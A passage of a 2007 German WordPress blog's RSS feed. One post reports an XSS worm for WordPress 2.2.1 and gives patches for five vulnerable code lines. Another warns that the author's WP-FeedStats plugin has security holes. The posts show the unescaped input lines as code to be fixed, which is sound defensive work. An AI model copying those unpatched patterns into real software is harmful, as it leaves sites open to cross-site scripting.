<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/cross-site-scripting-xss/477/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/cross-site-scripting-xss/477/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/wp-content/images/xss_cookie.gif" />
		<media:content url="http://bueltge.de/wp-content/images/xss_cookie.gif" medium="image">
			<media:title type="html">XSS mit Cookie</media:title>
		</media:content>
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
		<item>
		<title>Der erste XSS Wurm für WordPress</title>
		<link>http://bueltge.de/der-erste-xss-wurm-fuer-wordpress/489/</link>
		<comments>http://bueltge.de/der-erste-xss-wurm-fuer-wordpress/489/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 13:09:04 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[Tipps]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>
		<category><![CDATA[WP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/der-erste-xss-wurm-fuer-wordpress/489/</guid>
		<description><![CDATA[Wie man die XSS-Lücke ausnutzt und wie man den Wurm indiziert, das erklärt mybeNi. Das ganze basiert auf WordPress Version 2.2.1. Was man davon halten soll - das muss jeder selbst entscheiden. In jedem Fall lohnt es sich, die Hinweise zu lesen. Es handelt sich um einen „freundlichen“ Wurm, der nur die Lücke aufzeigen will [...]]]></description>
			<content:encoded><![CDATA[<p>Wie man die XSS-Lücke ausnutzt und wie man den Wurm indiziert, das erklärt <a href="http://mybeni.rootzilla.de/mybeNi/2007/this_is_the_first_weblog_xss_worm/">mybeNi</a>. Das ganze basiert auf WordPress <strong>Version 2.2.1</strong>.</p>
<p>Was man davon halten soll - das muss jeder selbst entscheiden. In jedem Fall lohnt es sich, die Hinweise zu lesen. Es handelt sich um einen „freundlichen“ Wurm, der nur die Lücke aufzeigen will - ein Trost? Schön ist, dass der Wurm dem Admin hilft, die nötigen Lücken zu patchen.</p>
<p>Im weiteren werden alle 7 <a href="http://mybeni.rootzilla.de/mybeNi/2007/wordpress_zeroday_vulnerability_roundhouse_kick_and_why_i_nearly_wrote_the_first_blog_worm/">Lücken erläutert und als Beispiel dargelegt</a>. Die Lücken sind im <a href="http://trac.wordpress.org/ticket/4689">WP trac</a> registriert und vielleicht erwartet uns bald ein Update. Wer sich händisch an die Arbeit machen will, der liest die Lösungen. In der Regel kommt die WordPress eigene Sicherheits-Funktion <em>attribute_escape()</em> zum Einsatz. Es sind 5 Lücken zu schließen - kurz und bündig im Folgenden.</p>
<p><strong>wp-admin/upload-functions.php</strong> Zeile 109</p>
<pre><code>
&lt;form&lt;?php echo $enctype; ?&gt; id="upload-file" method="post" action="&lt;?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&amp;tab=upload&amp;post_id=$post_id"; ?&gt;"&gt;
</code></pre>
<p>wird zu:</p>
<pre><code>
&lt;form&lt;?php echo $enctype; ?&gt; id="upload-file" method="post" action="&lt;?php echo get_option('siteurl') . "/wp-admin/upload.php?style=" . attribute_escape($style) . "&amp;tab=upload&amp;post_id=" . attribute_escape($post_id); ?&gt;"&gt;
</code></pre>
<p><strong>wp-includes/functions.php</strong> Zeile 206</p>
<pre><code>
function get_option($setting) {
global $wpdb; 

$setting = $wpdb->escape($setting); 

// Allow plugins to short-circuit options.
$pre = apply_filters( 'pre_option_' . $setting, false );
</code></pre>
<p><strong>wp-includes/functions.php</strong> Zeile 386</p>
<pre><code>
function delete_option($name) {
global $wpdb; 

$name = $wpdb->escape($name); 

wp_protect_special_option($name);
</code></pre>
<p><strong>wp-admin/link-import.php</strong> Zeile 76</p>
<pre><code>
$cat_id = $_POST['cat_id'];
if ( $cat_id == '' || $cat_id == 0 )
</code></pre>
<p>wird zu:</p>
<pre><code>
$cat_id = (int) $_POST['cat_id'];
if ( $cat_id < 1 )
</code></pre>
<p><strong>wp-admin/edit-comments.php</strong> Zeile 78</p>
<pre><code>
if ( isset( $_GET['apage'] ) )
</code></pre>
<p>wird zu:</p>
<pre><code>
if ( isset( $_GET['apage'] ) ) {
	$page = (int) $_GET['apage'];
	if($page < 1)
	$page = 1;
}
</code></pre>
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/der-erste-xss-wurm-fuer-wordpress/489/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/der-erste-xss-wurm-fuer-wordpress/489/feed/</wfw:commentRss>
		<slash:comments>48</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/favicon.ico" />
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
		<item>
		<title>Sicherheitslücken im Plugin WP-FeedStats</title>
		<link>http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/</link>
		<comments>http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/#comments</comments>
		<pubDate>Fri, 13 Jul 2007 20:37:11 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>
		<category><![CDATA[WP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/</guid>
		<description><![CDATA[Das Plugin WP-FeedStats weist wohl Sicherheitslücken auf. Es empfiehlt sich, nach Angaben von BlogSecurity das Plugin vorerst zu deaktivieren. Sollte ich die Probleme finden und beheben können, dann mache ich das natürlich. Dies wird aber sicher nicht gleich und sofort passieren, denn ansonsten wären sie nicht im Plugin aufgetreten. Ich hoffe auf Verständnis. Kontaktiert wurde [...]]]></description>
			<content:encoded><![CDATA[<p>Das Plugin <a href="http://bueltge.de/wp-feedstats-de-plugin/171/">WP-FeedStats</a> weist wohl Sicherheitslücken auf. Es empfiehlt sich, nach Angaben von <a href="http://blogsecurity.net/wordpress/news-130707/">BlogSecurity</a> das Plugin vorerst zu deaktivieren.</p>
<p>Sollte ich die Probleme finden und beheben können, dann mache ich das natürlich. Dies wird aber sicher nicht gleich und sofort passieren, denn ansonsten wären sie nicht im Plugin aufgetreten.<br />
Ich hoffe auf Verständnis.</p>
<p>Kontaktiert wurde ich allerdings nicht, wie es im Beitrag von <a href="http://blogsecurity.net/wordpress/news-130707/">BlogSecurity</a> steht, aber dank Trackback-Funktion bin ich eben darauf aufmerksam geworden.<br />
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/favicon.ico" />
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
	</channel>
</rss>

